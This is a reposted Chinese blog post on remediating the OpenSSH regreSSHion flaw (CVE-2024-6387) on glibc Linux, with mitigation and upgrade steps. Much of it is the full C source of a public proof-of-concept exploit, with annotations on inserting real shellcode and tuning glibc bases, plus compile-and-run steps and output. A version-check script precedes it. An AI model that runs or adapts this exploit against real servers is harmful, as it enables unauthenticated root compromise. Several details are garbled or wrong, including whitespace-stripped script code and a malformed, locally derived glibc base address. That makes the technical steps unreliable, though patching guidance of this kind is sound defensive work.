0


LInux SSH Server远程代码执行漏洞 (CVE-2024-6387)处理

一、漏洞描述

2024年7月1日,OpenSSH Server中存在的一个RCE远程代码执行漏洞(CVE-2024-6387,又被称为regreSSHion)细节被公开,该漏洞影响基于glibc的Linux系统上的OpenSSH Server (sshd)。

在这里插入图片描述

默认配置下的OpenSSH Server (sshd)中存在信号处理程序竞争条件漏洞,如果客户端未在LoginGraceTime内(默认情况下为120秒,旧版OpenSSH中为600秒)进行身份验证,则sshd的SIGALRM处理程序将被异步调用,但该信号处理程序会调用非异步信号安全的函数,最终造成Double-Free内存管理问题。威胁者可利用该漏洞在基于glibc的Linux系统上以root身份实现未经身份验证的远程代码执行。根据已公开技术细节中的描述,在开启ASLR的i386设备上,利用该漏洞大约需要6-8小时获取root shell,在开启ASLR的amd64设备上则可能需要约一周左右。另据悉,现有的利用POC验证需要基于 glibc 的 Linux 系统,并且当前已知的利用方案仅针对 32 位系统有效,但对64位系统的利用也被认为是可能得,虽目前尚未证明,但很可能这些攻击将得到改进从而对64位OS漏洞进行成功利用,但OpenBSD类 OS不受该漏洞影响,更多参看OpenSSH 9.8发布说明。

影响范围:

OpenSSH < 4.4p1(不含已修复CVE-2006-5051( 8.5p1已修复)和CVE-2008-4109的实例)
8.5p1 <= OpenSSH < 9.8p1 # 注:OpenBSD系统不受该漏洞影响。
Red Hat Enterprise Linux 9,该缺陷不会影响Red Hat Enterprise Linux 8附带的OpenSSH版本,因其中所涉易受攻击的代码是在上游的较新OpenSSH版本中引入的,且未向后移植到Red Hat Enterprise Linux 8。

临时缓解:

  • /etc/ssh/sshd_config配置LoginGraceTime 0,该参数用于指定成功验证SSH服务器的时间。宽限期的时间越长,可存在开放的未认证连接暴露面越大,(默认值为120) 。宽限期应限制在适当的范围内,以确保服务是用于所需的访问。或直接执行:sed -i “s/#LoginGraceTime 2m/LoginGraceTime 60/g” /etc/ssh/sshd_config ;请注意,使用该配置会导致MaxStartups连接耗尽,从而使sshd易受拒绝服务攻击,但可以缓解本漏洞的风险。也可使用iptables等防火墙最小化控制SSH访问范围,可监控最大连接数发现异常。

关联资源:ubuntu公告及补丁、cve-2024-6387细节、RCE漏洞说明、漏洞POC恶意代码、openssh-portable

二、处理验证

1)POC测试验证

  1. git clone https://github.com/shamo0/CVE-2024-6387_PoC //如下所示
  2. Cloning into 'CVE-2024-6387_PoC'...
  3. remote: Enumerating objects: 9, done.
  4. remote: Counting objects: 100% (9/9), done.
  5. remote: Compressing objects: 100% (8/8), done.
  6. remote: Total 9(delta 0), reused 0(delta 0), pack-reused 0
  7. Receiving objects: 100% (9/9), done.
  8. cd CVE-2024-6387_PoC/
  9. chmod +x check.sh
  10. #执行脚本,验证#如果输出:vulnerable (running SSH version).就表明当前SSH server版本受影响,否则输出:not vulnerable (running SSH version)#执行:check.sh <ip> [<ip> ...] [--port=<port>] [--timeout=<timeout>]
  11. ./check.sh 127.0.0.1 --port=10087--timeout=120ms #可以跟多个ip,依赖nc命令,需先安装nmap,输出如下:
  12. ./check.sh: line 18: warning: command substitution: ignored null byte in input
  13. 127.0.0.1:10087 not vulnerable (running SSH-2.0-OpenSSH_8.8
  14. |tнܗg6Өnrve25519-sha256,curve25519-sha256@libssh.……
  15. #验证脚本#!/bin/bashcheck_vulnerability(){localip="$1"localport="$2"localtimeout="$3"# Check if port is opennc-z-w"$timeout""$ip""$port"localport_status="$?"if["$port_status"!=0];thenecho"$ip:$port closed"returnfi# Retrieve SSH banner 。这里不准,现场OpenSSH_8.8p1,但探测出来的是OpenSSH_8.8,这是因为ssh -V:显示的是本地安装的SSH客户端的版本信息,这里nc或ssh-keyscan显示的是ssh server返回支持的密钥类型数采用的ssh协议的兼容ssh的版本,也不是server的banner=$(echo"SSH-2.0-OpenSSH"|nc-w"$timeout""$ip""$port")# Check for vulnerable versionsvulnerable_versions=("SSH-2.0-OpenSSH_8.5p1""SSH-2.0-OpenSSH_8.6p1""SSH-2.0-OpenSSH_8.7p1""SSH-2.0-OpenSSH_8.8p1""SSH-2.0-OpenSSH_8.9p1""SSH-2.0-OpenSSH_9.0p1""SSH-2.0-OpenSSH_9.1p1""SSH-2.0-OpenSSH_9.2p1""SSH-2.0-OpenSSH_9.3p1""SSH-2.0-OpenSSH_9.4p1""SSH-2.0-OpenSSH_9.5p1""SSH-2.0-OpenSSH_9.6p1""SSH-2.0-OpenSSH_9.7p1")# Check if banner contains any vulnerable versionforversionin"${vulnerable_versions[@]}";doif[["$banner"== *"$version"* ]];thenecho"$ip:$port vulnerable (running $banner)"returnfidoneecho"$ip:$port not vulnerable (running $banner)"}main(){if[$#-eq0];thenecho"Usage: $0 <ip> [<ip> ...] [--port=<port>] [--timeout=<timeout>]"exit1fiport=22timeout=1.0# Parse argumentswhile[$#-gt0];docase"$1"in--port=*)port="${1#*=}"shift;;--timeout=*)timeout="${1#*=}"shift;;
  16. *)ips+=("$1")shift;;esacdone# Perform vulnerability check for each IPforipin"${ips[@]}";do
  17. check_vulnerability "$ip""$port""$timeout"done}
  18. main "$@"#POC C代码
  19. /** 7etsuo-regreSSHion.c
  20. * -------------------------------------------------------------------------
  21. * SSH-2.0-OpenSSH_9.2p1 Exploit
  22. * -------------------------------------------------------------------------
  23. *
  24. * Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion)
  25. * Author : 7etsuo
  26. * Date :2024-07-01
  27. *
  28. * Description:
  29. * Targets a signal handler race condition in OpenSSH's
  30. * server (sshd) on glibc-based Linux systems. It exploits a vulnerability
  31. * where the SIGALRM handler calls async-signal-unsafe functions, leading
  32. * to rce as root.
  33. *
  34. * Notes:
  35. * 1. Shellcode : Replace placeholder with actual payload.
  36. * 2. GLIBC_BASES : Needs adjustment for specific target systems.
  37. * 3. Timing parameters: Fine-tune based on target system responsiveness.某些漏洞利用可能需要精确的时间控制。测试人员需要根据目标系统的响应时间来调整这些参数,以确保漏洞利用的时机正确
  38. * 4. Heap layout : Requires tweaking for different OpenSSH versions.漏洞利用涉及到特定的堆布局或内存结构,可能需要针对不同的OpenSSH版本或其他软件版本调整代码。
  39. * 5. File structure offsets: Verify for the specific glibc version.利用涉及到特定的文件结构偏移,这些偏移可能因glibc版本而异,需要进行相应的验证和调整。
  40. * -------------------------------------------------------------------------
  41. */
  42. #include <stdlib.h>
  43. #include <unistd.h>
  44. #include <time.h>
  45. #include <string.h>
  46. #include <errno.h>
  47. #include <fcntl.h>
  48. #include <stdint.h>
  49. #include <stdio.h>
  50. #include <sys/socket.h>
  51. #include <netinet/in.h>
  52. #include <arpa/inet.h>
  53. #include <time.h>
  54. #define MAX_PACKET_SIZE (256 * 1024)
  55. #define LOGIN_GRACE_TIME 120
  56. #define MAX_STARTUPS 100
  57. #define CHUNK_ALIGN(s) (((s) + 15) & ~15)
  58. // Possible glibc base addresses (for ASLR bypass)
  59. //glibc基地址可能需要根据目标系统的实际ASLR布局进行调整。测试人员需要确定并使用正确的基地址来绕过ASLR。
  60. uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
  61. int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
  62. // Shellcode placeholder (replace with actual shellcode)
  63. unsigned char shellcode[] = "\x90\x90\x90\x90";
  64. int setup_connection (const char *ip, int port);
  65. void send_packet (int sock, unsigned char packet_type,
  66. const unsigned char *data, size_t len);
  67. void prepare_heap (int sock);
  68. void time_final_packet (int sock, double *parsing_time);
  69. int attempt_race_condition (int sock, double parsing_time,
  70. uint64_t glibc_base);
  71. double measure_response_time (int sock, int error_type);
  72. void create_public_key_packet (unsigned char *packet, size_t size,
  73. uint64_t glibc_base);
  74. void create_fake_file_structure (unsigned char *data, size_t size,
  75. uint64_t glibc_base);
  76. void send_ssh_version (int sock);
  77. int receive_ssh_version (int sock);
  78. void send_kex_init (int sock);
  79. int receive_kex_init (int sock);
  80. int perform_ssh_handshake (int sock);
  81. int
  82. main (int argc, char *argv[])
  83. {
  84. if (argc != 3)
  85. {
  86. fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
  87. exit (1);
  88. }
  89. const char *ip = argv[1];
  90. int port = atoi (argv[2]);
  91. double parsing_time = 0;
  92. int success = 0;
  93. srand (time (NULL));
  94. // Attempt exploitation for each possible glibc base address
  95. for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
  96. {
  97. uint64_t glibc_base = GLIBC_BASES[base_idx];
  98. printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
  99. // The advisory mentions "~10,000 tries on average"
  100. for (int attempt = 0; attempt < 20000 && !success; attempt++)
  101. {
  102. if (attempt % 1000 == 0)
  103. {
  104. printf ("Attempt %d of 20000\n", attempt);
  105. }
  106. int sock = setup_connection (ip, port);
  107. if (sock < 0)
  108. {
  109. fprintf (stderr, "Failed to establish connection, attempt %d\n",
  110. attempt);
  111. continue;
  112. }
  113. if (perform_ssh_handshake (sock) < 0)
  114. {
  115. fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
  116. close (sock);
  117. continue;
  118. }
  119. prepare_heap (sock);
  120. time_final_packet (sock, &parsing_time);
  121. if (attempt_race_condition (sock, parsing_time, glibc_base))
  122. {
  123. printf ("Possible exploitation success on attempt %d with glibc "
  124. "base 0x%lx!\n",
  125. attempt, glibc_base);
  126. success = 1;
  127. break;
  128. }
  129. close (sock);
  130. usleep (100000); // 100ms delay between attempts, as mentioned in the
  131. // advisory
  132. }
  133. }
  134. return !success;
  135. }
  136. int
  137. setup_connection (const char *ip, int port)
  138. {
  139. int sock = socket (AF_INET, SOCK_STREAM, 0);
  140. if (sock < 0)
  141. {
  142. perror ("socket");
  143. return -1;
  144. }
  145. struct sockaddr_in server_addr;
  146. memset (&server_addr, 0, sizeof (server_addr));
  147. server_addr.sin_family = AF_INET;
  148. server_addr.sin_port = htons (port);
  149. if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
  150. {
  151. perror ("inet_pton");
  152. close (sock);
  153. return -1;
  154. }
  155. if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
  156. < 0)
  157. {
  158. perror ("connect");
  159. close (sock);
  160. return -1;
  161. }
  162. // Set socket to non-blocking mode
  163. int flags = fcntl (sock, F_GETFL, 0);
  164. fcntl (sock, F_SETFL, flags | O_NONBLOCK);
  165. return sock;
  166. }
  167. void
  168. send_packet (int sock, unsigned char packet_type, const unsigned char *data,
  169. size_t len)
  170. {
  171. unsigned char packet[MAX_PACKET_SIZE];
  172. size_t packet_len = len + 5;
  173. packet[0] = (packet_len >> 24) & 0xFF;
  174. packet[1] = (packet_len >> 16) & 0xFF;
  175. packet[2] = (packet_len >> 8) & 0xFF;
  176. packet[3] = packet_len & 0xFF;
  177. packet[4] = packet_type;
  178. memcpy (packet + 5, data, len);
  179. if (send (sock, packet, packet_len, 0) < 0)
  180. {
  181. perror ("send_packet");
  182. }
  183. }
  184. void
  185. send_ssh_version (int sock)
  186. { //这里更新为自己的ssh版本,现场更新为:OpenSSH_8.8p1
  187. const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
  188. if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
  189. {
  190. perror ("send ssh version");
  191. }
  192. }
  193. int
  194. receive_ssh_version (int sock)
  195. {
  196. char buffer[256];
  197. ssize_t received;
  198. do
  199. {
  200. received = recv (sock, buffer, sizeof (buffer) - 1, 0);
  201. }
  202. while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
  203. if (received > 0)
  204. {
  205. buffer[received] = '\0';
  206. printf ("Received SSH version: %s", buffer);
  207. return 0;
  208. }
  209. else if (received == 0)
  210. {
  211. fprintf (stderr, "Connection closed while receiving SSH version\n");
  212. }
  213. else
  214. {
  215. perror ("receive ssh version");
  216. }
  217. return -1;
  218. }
  219. void
  220. send_kex_init (int sock)
  221. {
  222. unsigned char kexinit_payload[36] = { 0 };
  223. send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
  224. }
  225. int
  226. receive_kex_init (int sock)
  227. {
  228. unsigned char buffer[1024];
  229. ssize_t received;
  230. do
  231. {
  232. received = recv (sock, buffer, sizeof (buffer), 0);
  233. }
  234. while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
  235. if (received > 0)
  236. {
  237. printf ("Received KEX_INIT (%zd bytes)\n", received);
  238. return 0;
  239. }
  240. else if (received == 0)
  241. {
  242. fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
  243. }
  244. else
  245. {
  246. perror ("receive kex init");
  247. }
  248. return -1;
  249. }
  250. int
  251. perform_ssh_handshake (int sock)
  252. {
  253. send_ssh_version (sock);
  254. if (receive_ssh_version (sock) < 0)
  255. return -1;
  256. send_kex_init (sock);
  257. if (receive_kex_init (sock) < 0)
  258. return -1;
  259. return 0;
  260. }
  261. void
  262. prepare_heap (int sock)
  263. {
  264. // Packet a: Allocate and free tcache chunks
  265. for (int i = 0; i < 10; i++)
  266. {
  267. unsigned char tcache_chunk[64];
  268. memset (tcache_chunk, 'A', sizeof (tcache_chunk));
  269. send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
  270. // These will be freed by the server, populating tcache
  271. }
  272. // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  273. for (int i = 0; i < 27; i++)
  274. {
  275. // Allocate large chunk (~8KB)
  276. unsigned char large_hole[8192];
  277. memset (large_hole, 'B', sizeof (large_hole));
  278. send_packet (sock, 5, large_hole, sizeof (large_hole));
  279. // Allocate small chunk (320B)
  280. unsigned char small_hole[320];
  281. memset (small_hole, 'C', sizeof (small_hole));
  282. send_packet (sock, 5, small_hole, sizeof (small_hole));
  283. }
  284. // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  285. for (int i = 0; i < 27; i++)
  286. {
  287. unsigned char fake_data[4096];
  288. create_fake_file_structure (fake_data, sizeof (fake_data),
  289. GLIBC_BASES[0]);
  290. send_packet (sock, 5, fake_data, sizeof (fake_data));
  291. }
  292. // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  293. unsigned char large_string[MAX_PACKET_SIZE - 1];
  294. memset (large_string, 'E', sizeof (large_string));
  295. send_packet (sock, 5, large_string, sizeof (large_string));
  296. }
  297. void
  298. create_fake_file_structure (unsigned char *data, size_t size,
  299. uint64_t glibc_base)
  300. {
  301. memset (data, 0, size);
  302. struct
  303. {
  304. void *_IO_read_ptr;
  305. void *_IO_read_end;
  306. void *_IO_read_base;
  307. void *_IO_write_base;
  308. void *_IO_write_ptr;
  309. void *_IO_write_end;
  310. void *_IO_buf_base;
  311. void *_IO_buf_end;
  312. void *_IO_save_base;
  313. void *_IO_backup_base;
  314. void *_IO_save_end;
  315. void *_markers;
  316. void *_chain;
  317. int _fileno;
  318. int _flags;
  319. int _mode;
  320. char _unused2[40];
  321. void *_vtable_offset;
  322. } *fake_file = (void *)data;
  323. // Set _vtable_offset to 0x61 as described in the advisory
  324. fake_file->_vtable_offset = (void *)0x61;
  325. // Set up fake vtable and _codecvt pointers
  326. *(uint64_t *)(data + size - 16)
  327. = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
  328. *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
  329. }
  330. void
  331. time_final_packet (int sock, double *parsing_time)
  332. {
  333. double time_before = measure_response_time (sock, 1);
  334. double time_after = measure_response_time (sock, 2);
  335. *parsing_time = time_after - time_before;
  336. printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
  337. }
  338. double
  339. measure_response_time (int sock, int error_type)
  340. {
  341. unsigned char error_packet[1024];
  342. size_t packet_size;
  343. if (error_type == 1)
  344. {
  345. // Error before sshkey_from_blob
  346. packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
  347. "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
  348. }
  349. else
  350. {
  351. // Error after sshkey_from_blob
  352. packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
  353. "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
  354. }
  355. struct timespec start, end;
  356. clock_gettime (CLOCK_MONOTONIC, &start);
  357. send_packet (sock, 50, error_packet,
  358. packet_size); // SSH_MSG_USERAUTH_REQUEST
  359. char response[1024];
  360. ssize_t received;
  361. do
  362. {
  363. received = recv (sock, response, sizeof (response), 0);
  364. }
  365. while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
  366. clock_gettime (CLOCK_MONOTONIC, &end);
  367. double elapsed
  368. = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
  369. return elapsed;
  370. }
  371. void
  372. create_public_key_packet (unsigned char *packet, size_t size,
  373. uint64_t glibc_base)
  374. {
  375. memset (packet, 0, size);
  376. size_t offset = 0;
  377. for (int i = 0; i < 27; i++)
  378. {
  379. // malloc(~4KB) - This is for the large hole
  380. *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
  381. offset += CHUNK_ALIGN (4096);
  382. // malloc(304) - This is for the small hole (potential FILE structure)
  383. *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
  384. offset += CHUNK_ALIGN (304);
  385. }
  386. // Add necessary headers for the SSH public key format
  387. memcpy (packet, "ssh-rsa ", 8);
  388. // Place shellcode in the heap via previous allocations
  389. //测试人员需要将这里的NOP滑梯或占位符替换为实际的shellcode有效载荷,以实现所需的后利用行为
  390. memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
  391. sizeof (shellcode));
  392. // Set up the fake FILE structures within the packet
  393. for (int i = 0; i < 27; i++)
  394. {
  395. create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
  396. + CHUNK_ALIGN (304) * i,
  397. CHUNK_ALIGN (304), glibc_base);
  398. }
  399. }
  400. int
  401. attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base) //漏洞触发逻辑
  402. {
  403. unsigned char final_packet[MAX_PACKET_SIZE];
  404. create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
  405. // Send all but the last byte
  406. if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
  407. {
  408. perror ("send final packet");
  409. return 0;
  410. }
  411. // Precise timing for last byte
  412. struct timespec start, current;
  413. clock_gettime (CLOCK_MONOTONIC, &start);
  414. while (1)
  415. {
  416. clock_gettime (CLOCK_MONOTONIC, &current);
  417. double elapsed = (current.tv_sec - start.tv_sec)
  418. + (current.tv_nsec - start.tv_nsec) / 1e9;
  419. if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
  420. { // 1ms before SIGALRM
  421. if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
  422. {
  423. perror ("send last byte");
  424. return 0;
  425. }
  426. break;
  427. }
  428. }
  429. // Check for successful exploitation
  430. char response[1024];
  431. ssize_t received = recv (sock, response, sizeof (response), 0);
  432. if (received > 0)
  433. {
  434. printf ("Received response after exploit attempt (%zd bytes)\n",
  435. received);
  436. // Analyze response to determine if we hit the "large" race window
  437. if (memcmp (response, "SSH-2.0-", 8) != 0)
  438. {
  439. printf ("Possible hit on 'large' race window\n");
  440. return 1;
  441. }
  442. }
  443. else if (received == 0)
  444. {
  445. printf (
  446. "Connection closed by server - possible successful exploitation\n");
  447. return 1;
  448. }
  449. else if (errno == EWOULDBLOCK || errno == EAGAIN)
  450. {
  451. printf ("No immediate response from server - possible successful "
  452. "exploitation\n");
  453. return 1;
  454. }
  455. else
  456. {
  457. perror ("recv");
  458. }
  459. return 0;
  460. }
  461. int
  462. perform_exploit (const char *ip, int port)
  463. {
  464. int success = 0;
  465. double parsing_time = 0;
  466. double timing_adjustment = 0;
  467. for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
  468. {
  469. uint64_t glibc_base = GLIBC_BASES[base_idx];
  470. printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);
  471. for (int attempt = 0; attempt < 10000 && !success; attempt++)
  472. {
  473. if (attempt % 1000 == 0)
  474. {
  475. printf ("Attempt %d of 10000\n", attempt);
  476. }
  477. int sock = setup_connection (ip, port);
  478. if (sock < 0)
  479. {
  480. fprintf (stderr, "Failed to establish connection, attempt %d\n",
  481. attempt);
  482. continue;
  483. }
  484. if (perform_ssh_handshake (sock) < 0)
  485. {
  486. fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
  487. close (sock);
  488. continue;
  489. }
  490. prepare_heap (sock);
  491. time_final_packet (sock, &parsing_time);
  492. // Implement feedback-based timing strategy
  493. parsing_time += timing_adjustment;
  494. if (attempt_race_condition (sock, parsing_time, glibc_base))
  495. {
  496. printf ("Possible exploitation success on attempt %d with glibc "
  497. "base 0x%lx!\n",
  498. attempt, glibc_base);
  499. success =1;
  500. // In a real exploit, we would now attempt to interact with the
  501. // shell
  502. }else{
  503. // Adjust timing based on feedback
  504. timing_adjustment +=0.00001; // Small incremental adjustment
  505. }
  506. close (sock);
  507. usleep (100000); // 100ms delay between attempts, as mentioned in the
  508. // advisory
  509. }}return success;}#修改对应glibc 地址#// Possible glibc base addresses (for ASLR bypass)#uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 }; 修改这里
  510. ldd --version#确认现场glibc版本
  511. ldd (GNU libc)2.34cat /proc/self/maps |grep-i libc-* #确定glibc的基地址(内存区域的起始地址),结果出来的64位的
  512. 7db006aeb000-7db006b17000 r--p 00000000 08:01 395141 /usr/lib64/libc.so.6
  513. 7db006b17000-7db006c88000 r-xp 0002c000 08:01 395141 /usr/lib64/libc.so.6
  514. 7db006c88000-7db006cd9000 r--p 0019d000 08:01 395141 /usr/lib64/libc.so.6
  515. 7db006cd9000-7db006cdc000 r--p 001ed000 08:01 395141 /usr/lib64/libc.so.6
  516. 7db006cdc000-7db006cdf000 rw-p 001f0000 08:01 395141 /usr/lib64/libc.so.6
  517. //即基地址为:0x7db006aeb000,0x7db006cdf000
  518. uint64_t GLIBC_BASES[]={ 0x7db006aeb000, 7db006cdf000 };
  519. //替换你Linux系统中实际使用的shellcode
  520. #编译
  521. gcc -o ssh_poc ./regreSSHion.c
  522. #验证
  523. ./ssh_poc ip port #程序的输出将是一个整数,表示成功(0)或失败(非0值),如果漏洞利用成功,攻击者通常会尝试与目标服务器上的交互式shell进行交互
  524. Attempting exploitation with glibc base: 0xb7200000 #表示程序正在尝试使用给定的glibc基地址(0xb7200000)来进行漏洞利用
  525. Attempt 0 of 20000#这是程序的第一次尝试,它将尝试总共20000次,以找到正确的时机来触发竞争条件
  526. Received SSH version: SSH-2.0-OpenSSH_8.8 #程序已经完成了SSH版本号的交换和KEX_INIT的接收,这是SSH握手过程的一部分
  527. Received KEX_INIT (1024 bytes)
  528. Estimated parsing time: 0.000364 seconds #程序估计了服务器处理数据包的时间,这个时间将用于后续触发竞争条件的精确时间计算。

现场为BClinux-Euler22.10版本,基于openEuler22.03,验证效果如下所示:
在这里插入图片描述

2)如果不放心请升级到最新版本(OpenSSH 9.8p1)或编译安装最新版本

参看:ssh升级, 现场:BigCloud Enterprise Linux For Euler 22.10 LTS,OpenSSH_8.8p1, OpenSSL 1.1.1m,经测试不涉及上述漏洞,但也存在该漏洞目前限于32位OS所致,所以不放心还是建议升级到OpenSSH 9.8p1。

在这里插入图片描述

  1. #以下仅用于openbsd系统wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/openssh-9.8.tar.gz # July 1, 2024tar zxvf .../openssh-9.8.tar.gz
  2. cdsshmkdir obj
  3. mkdir cleandir
  4. make depend
  5. makemakeinstall#这一步也不必要cp ssh_config sshd_config /etc/ssh # 可选,一般用原来的备份恢复,#restart sshd.#其他源码,依赖c、libcrypto(LibreSSL or OpenSSL)库、zlib(可选)、libfido2 (FIDO security token)
  6. https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.8p1.tar.gz
  7. cd openssh
  8. ./configure --prefix=/usr/local/ssh8.6 --sysconfdir=/etc/ssh --with-pam --with-kerberos5 --with-zlib=/usr/local/zlib --with-ssl-dir=/usr/local/ssl1.1.1 --with-md5-passwords --with-ssl-engine --disable-etc-default-login #更多参看 README.platform,或--help查看make&&make tests
  9. #或git clone https://github.com/openssh/openssh-portable # or https://anongit.mindrot.org/openssh.gitcd openssh-portable
  10. autoreconf
  11. ./configure
  12. make&&make tests

现场为移动云产品,经确认官方已修复该漏洞,详见修复说明,需升级到openssh-8.8p1-31.oe2203.bclinux.x86_64;本次影响系统包括:el7、oe22.10、oe22.10U、oe22.10U2,其他版本el8、oe21.10不受影响

  1. https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-8.8p1-31.oe2203.bclinux.x86_64.rpm
  2. https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-askpass-8.8p1-31.oe2203.bclinux.x86_64.rpm
  3. https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-clients-8.8p1-31.oe2203.bclinux.x86_64.rpm
  4. https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-keycat-8.8p1-31.oe2203.bclinux.x86_64.rpm
  5. https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-server-8.8p1-31.oe2203.bclinux.x86_64.rpm
标签: linux ssh 运维

本文转载自: https://blog.csdn.net/ximenjianxue/article/details/140129988
版权归原作者 羌俊恩 所有, 如有侵权,请联系我们删除。

“LInux SSH Server远程代码执行漏洞 (CVE-2024-6387)处理”的评论:

还没有评论